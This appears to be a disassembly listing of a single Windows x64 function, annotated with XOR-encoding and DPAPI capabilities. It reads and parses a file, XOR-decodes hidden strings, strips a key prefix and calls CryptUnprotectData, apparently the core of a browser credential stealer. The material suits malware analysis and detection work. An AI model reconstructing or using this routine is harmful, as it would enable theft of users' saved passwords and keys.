Function at 0x1400132a0
Capabilities:
Encode data using xor
Encrypt data using dpapi

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2e0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140050040]
xor rax, rsp
mov qword [rbp + 0x1c0], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rbp - 0x50], rcx
xor r15d, r15d
mov dword [rsp + 0x40], r15d
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xb0]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 0xf
jbe 0x140013306
mov rbx, qword [rbx]
mov r8d, 1
mov rdx, rbx
lea rcx, [rbp + 0xb0]
call fcn.14001a3d0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], r12
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
cmp qword [rbp + 0x140], 0
jne 0x140013394
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
mov qword [rbp + rdx + 0xb0], r12
mov rcx, qword [rbp + 0xb0]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xb0]
mov dword [rbp + rdx + 0xac], r8d
jmp 0x140013a24
mov qword [rbp - 0x40], r15
mov word [rbp - 0x38], 1
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov rcx, qword [rbp + rcx + 0xf8]
mov qword [rbp - 0x50], rcx
test rcx, rcx
sete byte [rbp - 0x48]
mov byte [rbp - 0x47], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movaps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm6, xmmword [rbp - 0x40]
test rcx, rcx
je 0x14001340d
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400133fc
mov byte [rbp - 0x47], al
mov rax, qword [rbp - 0x50]
mov byte [rbp - 0x48], 1
movaps xmm0, xmmword [rbp - 0x50]
jmp 0x140013412
mov rax, r15
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], 1
movaps xmm0, xmmword [rbp - 0x50]
jmp 0x140013412
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400137c8
test rax, rax
je 0x1400137d1
movdqa xmmword [rbp - 0x40], xmm6
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x18]
call fcn.140021b60
nop
lea rcx, [rbp + 0xc0]
call fcn.14001a310
test rax, rax
jne 0x140013479
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xb0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp - 0x80], r15
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x38]
call fcn.14001c0a0
nop
movsd xmm0, qword [str.AlWGOGL9]
movsd qword [rbp - 0x50], xmm0
movzx eax, byte [0x140044450]
mov byte [rbp - 0x50], 0x6f
xor byte [rbp - 0x4f], 0x32
xor byte [rbp - 0x4e], 0x33
xor byte [rbp - 0x4d], 0x34
xor byte [rbp - 0x4c], 0x35
xor byte [rbp - 0x4b], 0x36
xor byte [rbp - 0x4a], 0x37
xor byte [rbp - 0x49], 0x38
xor al, 0x39
mov byte [rbp - 0x48], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
lea rax, [rbp - 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400134f0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x88]
call fcn.14001d0c0
nop
movsd xmm0, qword [0x1400447d8]
movsd qword [rbp - 0x50], xmm0
mov edx, dword [0x1400447e0]
mov dword [rbp - 0x48], edx
movzx eax, word [0x1400447e4]
mov word [rbp - 0x44], ax
cmp byte [0x1400447e5], 0
je 0x1400136cb
mov ecx, r15d
cmp dword [0x140050090], 2
jl 0x14001368b
movdqa xmm5, xmmword [0x140045c50]
movdqa xmm6, xmmword [str.7777]
movdqa xmm2, xmmword [0x140045b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movdqa xmm4, xmmword [0x140045c40]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140045c60]
movd xmm0, dword [0x1400447d8]
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
movdqa xmm2, xmmword [0x140045b70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140045c60]
movd xmm0, dword [rbp - 0x4c]
xorps xmm2, xmm0
movd dword [rbp - 0x4c], xmm2
movdqa xmm3, xmmword [0x140045bb0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x140045c60]
movd xmm0, edx
xorps xmm3, xmm0
movd dword [rbp - 0x48], xmm3
mov ecx, 0xc
mov eax, ecx
lea r8, [rbp - 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x31
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xe
jl 0x1400136a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
lea rax, [rbp - 0x50]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400136e0
mov r8, rbx
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x68]
call fcn.14001d0c0
nop
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 8]
call fcn.1400191c0
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140018370
mov rbx, rax
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x40]
call fcn.1400191c0
mov rdx, rax
mov rcx, rbx
call fcn.140018370
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
movdqa xmm1, xmmword [0x140045b30]
movdqu xmmword [rbp + 0x58], xmm1
mov byte [rbp + 0x48], 0
mov dword [rsp + 0x40], 0x10
cmp byte [rax], 3
jne 0x140013a7d
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x48]
cmp rax, rdx
je 0x140013780
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140013776
mov rdx, qword [rdx]
lea rcx, [rbp + 0x48]
call fcn.14001b350
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x20]
call fcn.140012c60
nop
mov rsi, qword [rbp - 0x20]
lea rdx, [rsi + 5]
cmp rsi, rdx
je 0x1400137e7
mov rbx, qword [rbp - 0x18]
sub rbx, rdx
mov r8, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rsi]
mov qword [rbp - 0x18], rax
mov rsi, qword [rbp - 0x20]
jmp 0x1400137eb
test rax, rax
je 0x140013429
movdqa xmm0, xmmword [0x140045b30]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
jmp 0x140013445
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x48], rsi
sub eax, esi
mov dword [rbp - 0x50], eax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x50]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14001387c
mov esi, dword [rbp - 0x40]
mov r14, qword [rbp - 0x38]
add rsi, r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r15
sub rsi, r14
je 0x140013862
mov rdx, rsi
lea rcx, [rbp - 8]
call fcn.14001ee10
mov rbx, qword [rbp - 8]
mov r8, rsi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rsi]
mov qword [rbp], rax
mov r14, qword [rbp - 0x38]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp]
mov rax, qword [rbp - 8]
mov qword [rdi], rax
jmp 0x140013885
mov qword [rdi], r15
mov rcx, r15
mov rdx, r15
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rcx
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1400138d6
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400138c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400138c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003c604
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r15
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140013915
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001390f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001390f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003c604
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140013957
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013951
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013951
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003c604
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14001399c
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013996
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013996
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003c604
nop
movzx edx, byte [rbp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.14001ae20
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400139e8
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400139e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400139e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003c604
movdqa xmm0, xmmword [0x140045b30]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], r12
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xc0]
call fcn.1400182f0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, rdi
mov rcx, qword [rbp + 0x1c0]
xor rcx, rsp
call fcn.14003c5a0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov rcx, rax
call fcn.14001a670
mov qword [rbp - 0x50], rax
lea r8, [rbp - 0x50]
lea rcx, [rbp - 0x78]
call fcn.140030e50
nop
mov r8, rax
lea rcx, [rsp + 0x48]
call fcn.140030f10
lea rdx, [0x14004d218]
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll__CxxThrowException
int3